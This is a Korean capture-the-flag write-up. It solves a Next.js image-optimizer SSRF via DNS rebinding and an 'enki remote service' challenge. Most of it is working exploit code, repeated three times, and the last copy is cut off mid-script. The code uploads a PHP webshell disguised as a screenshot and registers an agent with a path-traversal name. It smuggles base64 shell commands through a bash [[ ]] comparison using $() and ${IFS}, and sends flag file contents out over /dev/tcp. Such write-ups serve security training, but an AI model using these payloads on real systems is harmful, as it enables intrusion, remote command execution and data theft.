URL =  "<http://target:3000>"
URL += "/_next/image?w=640&q=75&url="
URL += "http%3A%2F%2F7f000001%2E8efab5ae%2Erbndr%2Eus%3A5000%2Finternal%2Fget%2Dimage%3Fticket%5Fno%3D1e309"

while True:
    try:
        r = requests.get(URL, timeout=(3, 15))
    except requests.RequestException as e:
        print(f"[-] request error:{e}")
        time.sleep(0.5)
        continue

    ctype = r.headers.get("content-type", "")

    if r.ok and ctype.startswith("image/"):
        ext = ctype.split("/", 1)[1].split(";", 1)[0] or "bin"
        filename = f"image.{ext}"
        with open(filename, "wb") as f:
            f.write(r.content)
        print(f"[+] image saved:{filename} ({ctype},{len(r.content)} bytes)")
        break

    print(f"[-] status:{r.status_code}")
import requests
import time

URL =  "<http://target:3000>"
URL += "/_next/image?w=640&q=75&url="
URL += "http%3A%2F%2F7f000001%2E8efab5ae%2Erbndr%2Eus%3A5000%2Finternal%2Fget%2Dimage%3Fticket%5Fno%3D1e309"

while True:
    try:
        r = requests.get(URL, timeout=(3, 15))
    except requests.RequestException as e:
        print(f"[-] request error:{e}")
        time.sleep(0.5)
        continue

    ctype = r.headers.get("content-type", "")

    if r.ok and ctype.startswith("image/"):
        ext = ctype.split("/", 1)[1].split(";", 1)[0] or "bin"
        filename = f"image.{ext}"
        with open(filename, "wb") as f:
            f.write(r.content)
        print(f"[+] image saved:{filename} ({ctype},{len(r.content)} bytes)")
        break

    print(f"[-] status:{r.status_code}")
import requests
import time

URL =  "<http://target:3000>"
URL += "/_next/image?w=640&q=75&url="
URL += "http%3A%2F%2F7f000001%2E8efab5ae%2Erbndr%2Eus%3A5000%2Finternal%2Fget%2Dimage%3Fticket%5Fno%3D1e309"

while True:
    try:
        r = requests.get(URL, timeout=(3, 15))
    except requests.RequestException as e:
        print(f"[-] request error:{e}")
        time.sleep(0.5)
        continue

    ctype = r.headers.get("content-type", "")

    if r.ok and ctype.startswith("image/"):
        ext = ctype.split("/", 1)[1].split(";", 1)[0] or "bin"
        filename = f"image.{ext}"
        with open(filename, "wb") as f:
            f.write(r.content)
        print(f"[+] image saved:{filename} ({ctype},{len(r.content)} bytes)")
        break

    print(f"[-] status:{r.status_code}")

DNS가 내부 IP를 반환하는 시점에 요청이 성공하면, VIP 전용 이미지가 다운로드됩니다. 해당 이미지에 플래그 ENKI{Th1s_1s_R34L_FL4G_XD}가 포함되어 있습니다.

종합평

본 문제는 Next.js와 같은 현대적 프론트엔드 프레임워크가 제공하는 이미지 최적화 기능이 SSRF 벡터로 활용될 수 있다는 점을 실증적으로 보여줍니다. DNS Rebinding 기법은 네트워크 격리를 신뢰하는 아키텍처에서 여전히 유효한 위협이며, 이를 방어하기 위해서는 remotePatterns 설정을 엄격히 제한하고 서버 측 DNS pinning을 적용하는 등 다층적인 대응이 필요합니다. 실무 환경에서 내부 서비스와 외부 서비스를 분리할 때, 서버 측 요청이 의도치 않게 내부 네트워크에 접근하는 경로가 없는지 점검하는 것의 중요성을 일깨워주는 문제입니다.

enki remote service

enki remote service

취약점 구분

Arbitrary File Upload (WebShell), Command Injection (CVE-2026-1731)

출제 의도

본 문제는 소스코드가 제공되지 않는 블랙박스 환경에서 에이전트(클라이언트) 를 분석하여 서버-에이전트간 통신을 파악하고 이 과정에서 취약점을 찾고, 추가로 에이전트 클라이언트의 RCE 취약점을 찾아 격리된 환경에 있는 VM까지 추가로 exploit 할 수 있는지 평가하기위해 출제되었습니다.

풀이

1. 서비스 구조 파악

제공되는 URL에 접속하면, instance 생성버튼이 있고, 이는 격리된 웹서버와, 에이전트서버를 생성합니다. 웹서버는 PHP 기반으로, /_agent 엔드포인트에서 연결된 에이전트에게 명령을 전달하고, 명령어 결과를 전달받는 역할을 합니다. 에이전트 서버는 에이전트가 실행되어 웹서버와 연결된 상태로 제공되고, 웹서버 이외에 외부 서버와 연결이 차단됩니다.

플래그는 웹서버, 에이전트 서버에 각각 1개씩 저장되고, 최종 플래그를 얻기 위해서는 두 서버 모두 exploit 해야 합니다.

2. 웹서버 쉘 획득

에이전트를 등록하면 스크린샷 기능을 요청할 수 있으며, 스크린샷 파일은 workspace/<agent_name>.<ext> 경로에 저장됩니다. 에이전트를 분석해보면, 스크린샷을 올릴 때 image/png 와 같이 mime type을 전송하고, 서버에서는 / 기준으로 split 하여 확장자를 그대로 씁니다. 따라서 image/php 으로 스크린샷을 올려 웹쉘을 쉽게 획득할 수 있습니다.

플래그는 /flag.txt 에 위치해있으며, 참가자들은 웹서버 소스코드를 획득할 수 있습니다.

3. 에이전트서버 쉘 획득

  cached_poll_ms="$(value poll_interval_ms)"
  # ...
  if [ -n "${cached_poll_ms:-}" ]; then
    if [[ "$cached_poll_ms" -lt 2 ]]; then <@
      export ENKI_POLL_INTERVAL_MS="2"
  cached_poll_ms="$(value poll_interval_ms)"
  # ...
  if [ -n "${cached_poll_ms:-}" ]; then
    if [[ "$cached_poll_ms" -lt 2 ]]; then <@
      export ENKI_POLL_INTERVAL_MS="2"
  cached_poll_ms="$(value poll_interval_ms)"
  # ...
  if [ -n "${cached_poll_ms:-}" ]; then
    if [[ "$cached_poll_ms" -lt 2 ]]; then <@
      export ENKI_POLL_INTERVAL_MS="2"

에이전트는 wrapper.sh 에서 실행되고, 종료될 떄마다 재시작됩니다. 재시작 될 때마다 ./agent-registration.json 파일에서 poll_interval_ms 키를 읽어서 환경변수를 세팅하는데, [[ ... ]] 비교문을 사용해서 CVE-2026-1731 과 유사한 케이스로 $() 을 넣어 RCE가 가능합니다.

    case cmdOpFileSave:
        if err := writeFileContent(cmd.Cmd, cmd.Keys); err != nil {
            log.Printf("filesave error: %v", err)
            _ = cli.sendResult(reg.AgentID, cmd.ID, false, err.Error())
            continue

    case cmdOpFileSave:
        if err := writeFileContent(cmd.Cmd, cmd.Keys); err != nil {
            log.Printf("filesave error: %v", err)
            _ = cli.sendResult(reg.AgentID, cmd.ID, false, err.Error())
            continue

    case cmdOpFileSave:
        if err := writeFileContent(cmd.Cmd, cmd.Keys); err != nil {
            log.Printf("filesave error: %v", err)
            _ = cli.sendResult(reg.AgentID, cmd.ID, false, err.Error())
            continue

에이전트에 파일쓰기 기능이 있으므로, 이걸로 agent-registration.json 파일을 덮을 수 있습니다.

        default:
            panic(fmt.Sprintf("unknown command opcode: %d", cmd.Opcode

        default:
            panic(fmt.Sprintf("unknown command opcode: %d", cmd.Opcode

        default:
            panic(fmt.Sprintf("unknown command opcode: %d", cmd.Opcode

또한, 에이전트를 크래시내기 위해서는 없는 명령어 코드 (ex. 0) 를 보내면 됩니다.

따라서 다음과 같이 exploit을 구성할 수 있습니다.

  1. /app/enki-data/agents.json 파일을 읽어 agent access_code, id 등 정보 확인

  2. /app/enki-data/agents.json 파일에 명령어를 삽입하기위해 다음과 같이 commands 를 구성

에이전트서버는 outbound connection이 막혀있기떄문에, 웹서버로 result를 전송하는 HTTP 요청을 /dev/tcp/{ip}/{port} 으로 전송하는 쉘스크립트를 생성한 뒤, 해당 스크립트를 실행시키면 됩니다. 이 때, 비교문 안에 들어가는 명령어의 공백이 지워지기 때문에 ${IFS} 를 사용하여 문법을 맞춰줘야 합니다. 1. agent-registration.json에 명령어 담긴 내용 작성 2. 없는 command type 작성 위와같이 구성하면, agent-registration.json 파일이 수정되고, 그 다음 없는 명령어를 읽고 크래시가 나 명령어가 실행됩니다. 명령어는 다음과 같이 구성했습니다.




최종 exploit 코드는 다음과 같습니다.

import base64
import json
import struct
import time
import requests

s = requests.Session()

RES_OK, RES_NO_CONTENT, RES_ERROR = 0, 1, 2
OP_REGISTER, OP_PULL, OP_SCREENSHOT = 1, 2, 4
CMD_OP_SCREENSHOT = 1

def write_str(buf: list, s: str) -> None:
    b = s.encode("utf-8")
    buf.append(struct.pack(">H", len(b)))
    buf.append(b)

def read_str(data: bytes, offset: list) -> str:
    if offset[0] + 2 > len(data):
        return ""
    (n,) = struct.unpack_from(">H", data, offset[0])
    offset[0] += 2
    if offset[0] + n > len(data):
        return ""
    out = data[offset[0] : offset[0] + n].decode("utf-8", errors="replace")
    offset[0] += n
    return out

def build_register(name: str) -> bytes:
    buf = [bytes([OP_REGISTER])]
    write_str(buf, name)
    return b"".join(buf)

def build_pull(agent_id: str) -> bytes:
    buf = [bytes([OP_PULL])]
    write_str(buf, agent_id)
    return b"".join(buf)

def build_screenshot(agent_id: str, command_id: int, mime: str, image_b64: bytes) -> bytes:
    buf = [bytes([OP_SCREENSHOT])]
    write_str(buf, agent_id)
    buf.append(struct.pack(">Q", command_id & 0xFFFFFFFFFFFFFFFF))
    write_str(buf, mime)
    buf.append(struct.pack(">I", len(image_b64)))
    buf.append(image_b64)
    return b"".join(buf)

def build_raw_result_shell_script(
    host: str, port: int, agent_id: str, command_id: int = 1, path: str = "/_agent"
) -> str:
    return f'''#!/usr/bin/env bash
set -e
[ "$#" -ge 1 ] ||{{ echo "usage: $0 <message>" >&2; exit 1;}}
H={host!r}; P={port}; A={agent_id!r}; C={command_id}; U={path!r}
M=$1; AL=${{#A}}; ML=${{#M}}; B=$((1+2+AL+8+1+2+ML))
put8(){{ printf '%b' "\\\\x$(printf '%02x' "$1")" >&3;}}
put16(){{ put8 "$((($1>>8)&255))"; put8 "$(($1&255))";}}
put64(){{ for i in 56 48 40 32 24 16 8 0; do put8 "$(( (C>>i)&255 ))"; done;}}
exec 3<>/dev/tcp/"$H"/"$P"
printf "POST %s HTTP/1.1\\\\r\\\\nHost: %s:%s\\\\r\\\\nContent-Type: application/octet-stream\\\\r\\\\nContent-Length: %s\\\\r\\\\n\\\\r\\\\n" "$U" "$H" "$P" "$B" >&3
put8 3; put16 "$AL" >&3; printf '%s' "$A" >&3; put64 >&3; put8 0; put16 "$ML" >&3; printf '%s' "$M" >&3
exec 3>&-
'''

def do_raw(base_url: str, body: bytes) -> tuple[int, bytes]:
    resp = s.post(
        base_url.rstrip("/") + "/_agent",
        data=body,
        headers={"Content-Type": "application/octet-stream"},
        timeout=20,
    )
    raw = resp.content
    if resp.status_code >= 400:
        if len(raw) >= 1 and raw[0] == RES_ERROR:
            off = [1]
            raise RuntimeError(f"server error:{read_str(raw, off)}")
        raise RuntimeError(f"request failed{resp.status_code}")
    if len(raw) < 1:
        return RES_NO_CONTENT, b""
    return int(raw[0]), raw[1:]

def register(base_url: str, name: str) -> tuple[str, str, int]:
    code, payload = do_raw(base_url, build_register(name))
    if code == RES_ERROR:
        raise RuntimeError("registration failed")
    if code != RES_OK or not payload:
        raise RuntimeError("invalid register response")
    off = [0]
    agent_id = read_str(payload, off)
    access_code = read_str(payload, off)
    poll_ms = struct.unpack_from(">I", payload, off[0])[0] if off[0] + 4 <= len(payload) else 2000
    return agent_id, access_code, poll_ms

def pull_command(base_url: str, agent_id: str) -> tuple[int, int, int, int, str, str] | None:
    code, payload = do_raw(base_url, build_pull(agent_id))
    if code == RES_ERROR:
        raise RuntimeError("pull failed")
    if code == RES_NO_CONTENT or not payload:
        return None
    off = [0]
    if off[0] + 8 > len(payload):
        return None
    (cmd_id,) = struct.unpack_from(">Q", payload, off[0])
    off[0] += 8
    if off[0] >= len(payload):
        return None
    opcode = payload[off[0]]
    off[0] += 1
    if off[0] + 8 > len(payload):
        return None
    x, y = struct.unpack_from(">ii", payload, off[0])
    off[0] += 8
    return (cmd_id, opcode, x, y, read_str(payload, off), read_str(payload, off))

def upload_screenshot(base_url: str, agent_id: str, command_id: int, mime: str, image_bytes: bytes) -> None:
    body = build_screenshot(agent_id, command_id, mime, base64.b64encode(image_bytes))
    if do_raw(base_url, body)[0] == RES_ERROR:
        raise RuntimeError("screenshot upload failed")

def pend(i: int, typ: str, cmd: str = "", keys: str = "", err: str = "") -> dict:
    return {"id": i, "type": typ, "x": 0, "y": 0, "cmd": cmd, "keys": keys, "status": "pending", "error": err, "created_at": ""}

def push_agents(sh, key: str, agent: dict) -> None:
    b64 = base64.b64encode(json.dumps({key: agent}).encode()).decode()
    sh(f"echo '{b64}' | base64 -d > /app/enki-data/agents.json")

def run_attack() -> None:
    global s
    s = requests.Session()
    r = s.post("<http://15.165.103.134/api/instances>").json()
    web_url = r["web_url"].rstrip("/")
    print(f"[*] Instance:{r['id']}, web_url:{web_url}")

    agent_id, access_code, _ = register(web_url, "../../../../../../app/enki/workspace/paw")
    print(f"[*] Registered: agent_id={agent_id}, access_code={access_code}")

    q = s.post(
        f"{web_url}/?code={access_code}",
        data={"action": "request_screenshot", "code": access_code},
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        timeout=10,
        allow_redirects=True,
    )
    print(
        "[*] Screenshot queued."
        if q.status_code == 200 and "Screenshot command queued" in q.text
        else f"[!] Queue failed:{q.status_code}"
    )

    mini = b"<?php system($_POST['a']); ?>"
    for _ in range(30):
        cmd = pull_command(web_url, agent_id)
        if not cmd:
            time.sleep(1)
            continue
        cid, opcode, x, y, cmd_str, keys = cmd
        print(f"[*] cmd id={cid} op={opcode} x={x} y={y} cmd={cmd_str} keys={keys}")
        if opcode == CMD_OP_SCREENSHOT:
            upload_screenshot(web_url, agent_id, cid, "image/php", mini)
            print("[*] screenshot uploaded.")
            break
        time.sleep(1)
    else:
        print("[!] No screenshot command received.")

    def sh(cmd: str) -> str:
        return s.post(f"{web_url}/workspace/paw.php", data={"a": cmd}).text

    flag = sh("cat /flag.txt")
    print(f"first flag:{flag}")
    time.sleep(3)

    agents = json.loads(sh("cat /app/enki-data/agents.json"))
    key = next(k for k in agents if "../" not in k)
    agent = agents[key]
    vid, vcode = agent["agent_id"], agent["access_code"]

    agent["commands"] = [pend(1, "sysinfo")]
    push_agents(sh, key, agent)
    time.sleep(3)
    out = json.loads(sh("cat /app/enki-data/agents.json"))[key]["commands"][0]["error"]
    victim_ip = out.split("ip: ")[1].split("\\n")[0]
    host_ips = [i for i in sh("hostname -I").split() if i]
    net = ".".join(victim_ip.split(".")[:3])
    host_ip = next(
        (ip for ip in host_ips if ip.startswith(f"{net}.") and ip.count(".") == 3),
        host_ips[0] if host_ips else "",
    )
    print(f"victim_ip:{victim_ip}, host_ip:{host_ip}")

    b64 = base64.b64encode(build_raw_result_shell_script(host_ip, 80, vid, 2, "/_agent").encode()).decode()
    inj = "echo${IFS}AAAA${IFS}|base64${IFS}-d${IFS}>/tmp/shell.sh".replace("AAAA", b64)
    inj = f"PWD[$({inj})]"
    data = {
        "name": key,
        "agent_id": vid,
        "access_code": vcode,
        "poll_interval_ms": inj,
        "saved_at": time.strftime("%Y-%m-%dT%H:%M:%SZ"),
    }
    agent["commands"] = [
        pend(1, "save", "./agent-registration.json", json.dumps(data)),
        pend(2, "aaaa"),
    ]
    push_agents(sh, key, agent)
    time.sleep(4)

    data["poll_interval_ms"] = "PWD[$(bash${IFS}/tmp/shell.sh${IFS}$(cat${IFS}/flag.txt))]"
    agent["commands"][0]["keys"] = json.dumps(data)
    push_agents(sh, key, agent)
    time.sleep(4)

    flag2 = json.loads(sh("cat /app/enki-data/agents.json"))[key]["commands"][1]["error"]
    print(sh("cat /etc/hosts"))
    print(f"second flag:{flag2}")
    print(f"flag:{flag + flag2}")

if __name__ == "__main__":
    run_attack()
import base64
import json
import struct
import time
import requests

s = requests.Session()

RES_OK, RES_NO_CONTENT, RES_ERROR = 0, 1, 2
OP_REGISTER, OP_PULL, OP_SCREENSHOT = 1, 2, 4
CMD_OP_SCREENSHOT = 1

def write_str(buf: list, s: str) -> None:
    b = s.encode("utf-8")
    buf.append(struct.pack(">H", len(b)))
    buf.append(b)

def read_str(data: bytes, offset: list) -> str:
    if offset[0] + 2 > len(data):
        return ""
    (n,) = struct.unpack_from(">H", data, offset[0])
    offset[0] += 2
    if offset[0] + n > len(data):
        return ""
    out = data[offset[0] : offset[0] + n].decode("utf-8", errors="replace")
    offset[0] += n
    return out

def build_register(name: str) -> bytes:
    buf = [bytes([OP_REGISTER])]
    write_str(buf, name)
    return b"".join(buf)

def build_pull(agent_id: str) -> bytes:
    buf = [bytes([OP_PULL])]
    write_str(buf, agent_id)
    return b"".join(buf)

def build_screenshot(agent_id: str, command_id: int, mime: str, image_b64: bytes) -> bytes:
    buf = [bytes([OP_SCREENSHOT])]
    write_str(buf, agent_id)
    buf.append(struct.pack(">Q", command_id & 0xFFFFFFFFFFFFFFFF))
    write_str(buf, mime)
    buf.append(struct.pack(">I", len(image_b64)))
    buf.append(image_b64)
    return b"".join(buf)

def build_raw_result_shell_script(
    host: str, port: int, agent_id: str, command_id: int = 1, path: str = "/_agent"
) -> str:
    return f'''#!/usr/bin/env bash
set -e
[ "$#" -ge 1 ] ||{{ echo "usage: $0 <message>" >&2; exit 1;}}
H={host!r}; P={port}; A={agent_id!r}; C={command_id}; U={path!r}
M=$1; AL=${{#A}}; ML=${{#M}}; B=$((1+2+AL+8+1+2+ML))
put8(){{ printf '%b' "\\\\x$(printf '%02x' "$1")" >&3;}}
put16(){{ put8 "$((($1>>8)&255))"; put8 "$(($1&255))";}}
put64(){{ for i in 56 48 40 32 24 16 8 0; do put8 "$(( (C>>i)&255 ))"; done;}}
exec 3<>/dev/tcp/"$H"/"$P"
printf "POST %s HTTP/1.1\\\\r\\\\nHost: %s:%s\\\\r\\\\nContent-Type: application/octet-stream\\\\r\\\\nContent-Length: %s\\\\r\\\\n\\\\r\\\\n" "$U" "$H" "$P" "$B" >&3
put8 3; put16 "$AL" >&3; printf '%s' "$A" >&3; put64 >&3; put8 0; put16 "$ML" >&3; printf '%s' "$M" >&3
exec 3>&-
'''

def do_raw(base_url: str, body: bytes) -> tuple[int, bytes]:
    resp = s.post(
        base_url.rstrip("/") + "/_agent",
        data=body,
        headers={"Content-Type": "application/octet-stream"},
        timeout=20,
    )
    raw = resp.content
    if resp.status_code >= 400:
        if len(raw) >= 1 and raw[0] == RES_ERROR:
            off = [1]
            raise RuntimeError(f"server error:{read_str(raw, off)}")
        raise RuntimeError(f"request failed{resp.status_code}")
    if len(raw) < 1:
        return RES_NO_CONTENT, b""
    return int(raw[0]), raw[1:]

def register(base_url: str, name: str) -> tuple[str, str, int]:
    code, payload = do_raw(base_url, build_register(name))
    if code == RES_ERROR:
        raise RuntimeError("registration failed")
    if code != RES_OK or not payload:
        raise RuntimeError("invalid register response")
    off = [0]
    agent_id = read_str(payload, off)
    access_code = read_str(payload, off)
    poll_ms = struct.unpack_from(">I", payload, off[0])[0] if off[0] + 4 <= len(payload) else 2000
    return agent_id, access_code, poll_ms

def pull_command(base_url: str, agent_id: str) -> tuple[int, int, int, int, str, str] | None:
    code, payload = do_raw(base_url, build_pull(agent_id))
    if code == RES_ERROR:
        raise RuntimeError("pull failed")
    if code == RES_NO_CONTENT or not payload:
        return None
    off = [0]
    if off[0] + 8 > len(payload):
        return None
    (cmd_id,) = struct.unpack_from(">Q", payload, off[0])
    off[0] += 8
    if off[0] >= len(payload):
        return None
    opcode = payload[off[0]]
    off[0] += 1
    if off[0] + 8 > len(payload):
        return None
    x, y = struct.unpack_from(">ii", payload, off[0])
    off[0] += 8
    return (cmd_id, opcode, x, y, read_str(payload, off), read_str(payload, off))

def upload_screenshot(base_url: str, agent_id: str, command_id: int, mime: str, image_bytes: bytes) -> None:
    body = build_screenshot(agent_id, command_id, mime, base64.b64encode(image_bytes))
    if do_raw(base_url, body)[0] == RES_ERROR:
        raise RuntimeError("screenshot upload failed")

def pend(i: int, typ: str, cmd: str = "", keys: str = "", err: str = "") -> dict:
    return {"id": i, "type": typ, "x": 0, "y": 0, "cmd": cmd, "keys": keys, "status": "pending", "error": err, "created_at": ""}

def push_agents(sh, key: str, agent: dict) -> None:
    b64 = base64.b64encode(json.dumps({key: agent}).encode()).decode()
    sh(f"echo '{b64}' | base64 -d > /app/enki-data/agents.json")

def run_attack() -> None:
    global s
    s = requests.Session()
    r = s.post("<http://15.165.103.134/api/instances>").json()
    web_url = r["web_url"].rstrip("/")
    print(f"[*] Instance:{r['id']}, web_url:{web_url}")

    agent_id, access_code, _ = register(web_url, "../../../../../../app/enki/workspace/paw")
    print(f"[*] Registered: agent_id={agent_id}, access_code={access_code}")

    q = s.post(
        f"{web_url}/?code={access_code}",
        data={"action": "request_screenshot", "code": access_code},
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        timeout=10,
        allow_redirects=True,
    )
    print(
        "[*] Screenshot queued."
        if q.status_code == 200 and "Screenshot command queued" in q.text
        else f"[!] Queue failed:{q.status_code}"
    )

    mini = b"<?php system($_POST['a']); ?>"
    for _ in range(30):
        cmd = pull_command(web_url, agent_id)
        if not cmd:
            time.sleep(1)
            continue
        cid, opcode, x, y, cmd_str, keys = cmd
        print(f"[*] cmd id={cid} op={opcode} x={x} y={y} cmd={cmd_str} keys={keys}")
        if opcode == CMD_OP_SCREENSHOT:
            upload_screenshot(web_url, agent_id, cid, "image/php", mini)
            print("[*] screenshot uploaded.")
            break
        time.sleep(1)
    else:
        print("[!] No screenshot command received.")

    def sh(cmd: str) -> str:
        return s.post(f"{web_url}/workspace/paw.php", data={"a": cmd}).text

    flag = sh("cat /flag.txt")
    print(f"first flag:{flag}")
    time.sleep(3)

    agents = json.loads(sh("cat /app/enki-data/agents.json"))
    key = next(k for k in agents if "../" not in k)
    agent = agents[key]
    vid, vcode = agent["agent_id"], agent["access_code"]

    agent["commands"] = [pend(1, "sysinfo")]
    push_agents(sh, key, agent)
    time.sleep(3)
    out = json.loads(sh("cat /app/enki-data/agents.json"))[key]["commands"][0]["error"]
    victim_ip = out.split("ip: ")[1].split("\\n")[0]
    host_ips = [i for i in sh("hostname -I").split() if i]
    net = ".".join(victim_ip.split(".")[:3])
    host_ip = next(
        (ip for ip in host_ips if ip.startswith(f"{net}.") and ip.count(".") == 3),
        host_ips[0] if host_ips else "",
    )
    print(f"victim_ip:{victim_ip}, host_ip:{host_ip}")

    b64 = base64.b64encode(build_raw_result_shell_script(host_ip, 80, vid, 2, "/_agent").encode()).decode()
    inj = "echo${IFS}AAAA${IFS}|base64${IFS}-d${IFS}>/tmp/shell.sh".replace("AAAA", b64)
    inj = f"PWD[$({inj})]"
    data = {
        "name": key,
        "agent_id": vid,
        "access_code": vcode,
        "poll_interval_ms": inj,
        "saved_at": time.strftime("%Y-%m-%dT%H:%M:%SZ"),
    }
    agent["commands"] = [
        pend(1, "save", "./agent-registration.json", json.dumps(data)),
        pend(2, "aaaa"),
    ]
    push_agents(sh, key, agent)
    time.sleep(4)

    data["poll_interval_ms"] = "PWD[$(bash${IFS}/tmp/shell.sh${IFS}$(cat${IFS}/flag.txt))]"
    agent["commands"][0]["keys"] = json.dumps(data)
    push_agents(sh, key, agent)
    time.sleep(4)

    flag2 = json.loads(sh("cat /app/enki-data/agents.json"))[key]["commands"][1]["error"]
    print(sh("cat /etc/hosts"))
    print(f"second flag:{flag2}")
    print(f"flag:{flag + flag2}")

if __name__ == "__main__":
    run_attack()
import base64
import json
import struct
import time
import requests

s = requests.Session()

RES_OK, RES_NO_CONTENT, RES_ERROR = 0, 1, 2
OP_REGISTER, OP_PULL, OP_SCREENSHOT = 1, 2, 4
CMD_OP_SCREENSHOT = 1

def write_str(buf: list, s: str) -> None:
    b = s.encode("utf-8")
    buf.append(struct.pack(">H", len(b)))
    buf.append(b)

def read_str(data: bytes, offset: list) -> str:
    if offset[0] + 2 > len(data):
        return ""
    (n,) = struct.unpack_from(">H", data, offset[0])
    offset[0] += 2
    if offset[0] + n > len(data):
        return ""
    out = data[offset[0] : offset[0] + n].decode("utf-8", errors="replace")
    offset[0] += n
    return out

def build_register(name: str) -> bytes:
    buf = [bytes([OP_REGISTER])]
    write_str(buf, name)
    return b"".join(buf)

def build_pull(agent_id: str) -> bytes:
    buf = [bytes([OP_PULL])]
    write_str(buf, agent_id)
    return b"".join(buf)

def build_screenshot(agent_id: str, command_id: int, mime: str, image_b64: bytes) -> bytes:
    buf = [bytes([OP_SCREENSHOT])]
    write_str(buf, agent_id)
    buf.append(struct.pack(">Q", command_id & 0xFFFFFFFFFFFFFFFF))
    write_str(buf, mime)
    buf.append(struct.pack(">I", len(image_b64)))
    buf.append(image_b64)
    return b"".join(buf)

def build_raw_result_shell_script(
    host: str, port: int, agent_id: str, command_id: int = 1, path: str = "/_agent"
) -> str:
    return f'''#!/usr/bin/env bash
set -e
[ "$#" -ge 1 ] ||{{ echo "usage: $0 <message>" >&2; exit 1;}}
H={host!r}; P={port}; A={agent_id!r}; C={command_id}; U={path!r}
M=$1; AL=${{#A}}; ML=${{#M}}; B=$((1+2+AL+8+1+2+ML))
put8(){{ printf '%b' "\\\\x$(printf '%02x' "$1")" >&3;}}
put16(){{ put8 "$((($1>>8)&255))"; put8 "$(($1&255))";}}
put64(){{ for i in 56 48 40 32 24 16 8 0; do put8 "$(( (C>>i)&255 ))"; done;}}
exec 3<>/dev/tcp/"$H"/"$P"
printf "POST %s HTTP/1.1\\\\r\\\\nHost: %s:%s\\\\r\\\\nContent-Type: application/octet-stream\\\\r\\\\nContent-Length: %s\\\\r\\\\n\\\\r\\\\n" "$U" "$H" "$P" "$B" >&3
put8 3; put16 "$AL" >&3; printf '%s' "$A" >&3; put64 >&3; put8 0; put16 "$ML" >&3; printf '%s' "$M" >&3
exec 3>&-
'''

def do_raw(base_url: str, body: bytes) -> tuple[int, bytes]:
    resp = s.post(
        base_url.rstrip("/") + "/_agent",
        data=body,
        headers={"Content-Type": "application/octet-stream"},
        timeout=20,
    )
    raw = resp.content
    if resp.status_code >= 400:
        if len(raw) >= 1 and raw[0] == RES_ERROR:
            off = [1]
            raise RuntimeError(f"server error:{read_str(raw, off)}")
        raise RuntimeError(f"request failed{resp.status_code}")
    if len(raw) < 1:
        return RES_NO_CONTENT, b""
    return int(raw[0]), raw[1:]

def register(base_url: str, name: str) -> tuple[str, str, int]:
    code, payload = do_raw(base_url, build_register(name))
    if code == RES_ERROR:
        raise RuntimeError("registration failed")
    if code != RES_OK or not payload:
        raise RuntimeError("invalid register response")
    off = [0]
    agent_id = read_str(payload, off)
    access_code = read_str(payload, off)
    poll_ms = struct.unpack_from(">I", payload, off[0])[0] if off[0] + 4 <= len(payload) else 2000
    return agent_id, access_code, poll_ms

def pull_command(base_url: str, agent_id: str) -> tuple[int, int, int, int, str, str] | None:
    code, payload = do_raw(base_url, build_pull(agent_id))
    if code == RES_ERROR:
        raise RuntimeError("pull failed")
    if code == RES_NO_CONTENT or not payload:
        return None
    off = [0]
    if off[0] + 8 > len(payload):
        return None
    (cmd_id,) = struct.unpack_from(">Q", payload, off[0])
    off[0] += 8
    if off[0] >= len(payload):
        return None
    opcode = payload[off[0]]
    off[0] += 1
    if off[0] + 8 > len(payload):
        return None
    x, y = struct.unpack_from(">ii", payload, off[0])
    off[0] += 8
    return (cmd_id, opcode, x, y, read_str(payload, off), read_str(payload, off))

def upload_screenshot(base_url: str, agent_id: str, command_id: int, mime: str, image_bytes: bytes) -> None:
    body = build_screenshot(agent_id, command_id, mime, base64.b64encode(image_bytes))
    if do_raw(base_url, body)[0] == RES_ERROR:
        raise RuntimeError("screenshot upload failed")

def pend(i: int, typ: str, cmd: str = "", keys: str = "", err: str = "") -> dict:
    return {"id": i, "type": typ, "x": 0, "y": 0, "cmd": cmd, "keys": keys, "status": "pending", "error": err, "created_at": ""}

def push_agents(sh, key: str, agent: dict) -> None:
    b64 = base64.b64encode(json.dumps({key: agent}).encode()).decode()
    sh(f"echo '{b64}' | base64 -d > /app/enki-data/agents.json")

def run_attack() -> None:
    global s
    s = requests.Session()
    r = s.post("<http://15.165.103.134/api/instances>").json()
    web_url = r["web_url"].rstrip("/")
    print(f"[*] Instance:{r['id']}, web_url:{web_url}")

    agent_id, access_code, _ = register(web_url, "../../../../../../app/enki/workspace/paw")
    print(f"[*] Registered: agent_id={agent_id}, access_code={access_code}")

    q = s.post(
        f"{web_url}/?code={access_code}",
        data={"action": "request_screenshot", "code": access_code},
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        timeout=10,
        allow_redirects=True,
    )
    print(
        "[*] Screenshot queued."
        if q.status_code == 200 and "Screenshot command queued" in q.text
        else f"[!] Queue failed:{q.status_code}"
    )

    mini = b"<?php system($_POST['a']); ?>"
    for _ in range(30):
        cmd = pull_command(web_url, agent_id)
        if not cmd:
            time.sleep(1)
            continue
        cid, opcode, x, y, cmd_str, keys = cmd
        print(f"[*] cmd id={cid} op={opcode} x={x} y={y} cmd={cmd_str} keys={keys}")
        if opcode == CMD_OP_SCREENSHOT:
            upload_screenshot(web_url, agent_id, cid, "image/php", mini)
            print("[*] screenshot uploaded.")
            break
        time.sleep(1)
    else:
        print("[!] No screenshot command received.")

    def sh(cmd: str) -> str:
        return s.post(f"{web_url}/workspace/paw.php", data={"a": cmd}).text

    flag = sh("cat /flag.txt")
    print(f"first flag:{flag}")
    time.sleep(3)

    agents = json.loads(sh("cat /app/enki-data/agents.json"))
    key = next(k for k in agents if "../" not in k)
    agent = agents[key]
    vid, vcode = agent["agent_id"], agent["access_code"]

    agent["commands"] = [pend(1, "sysinfo")]
    push_agents(sh, key, agent)
    time.sleep(3)
    out = json.loads(sh("cat /app/enki-data/agents.json"))[key]["commands"][0]["error"]
    victim_ip = out.split("ip: ")[1].split("\\n")[0]
    host_ips = [i for i in sh("hostname -I").split() if i]
    net = ".".join(victim_ip.split(".")[:3])
    host_ip = next(
        (ip for ip in host_ips if ip.startswith(f"{net}.") and ip.count(".") == 3),
        host_ips[0] if host_ips else "",
    )
    print(f"victim_ip:{victim_ip}, host_ip:{host_ip}")

    b64 = base64.b64encode(build_raw_result_shell_script(host_ip, 80, vid, 2, "/_agent").encode()).decode()
    inj = "echo${IFS}AAAA${IFS}|base64${IFS}-d${IFS}>/tmp/shell.sh".replace("AAAA", b64)
    inj = f"PWD[$({inj})]"
    data = {
        "name": key,
        "agent_id": vid,
        "access_code": vcode,
        "poll_interval_ms": inj,
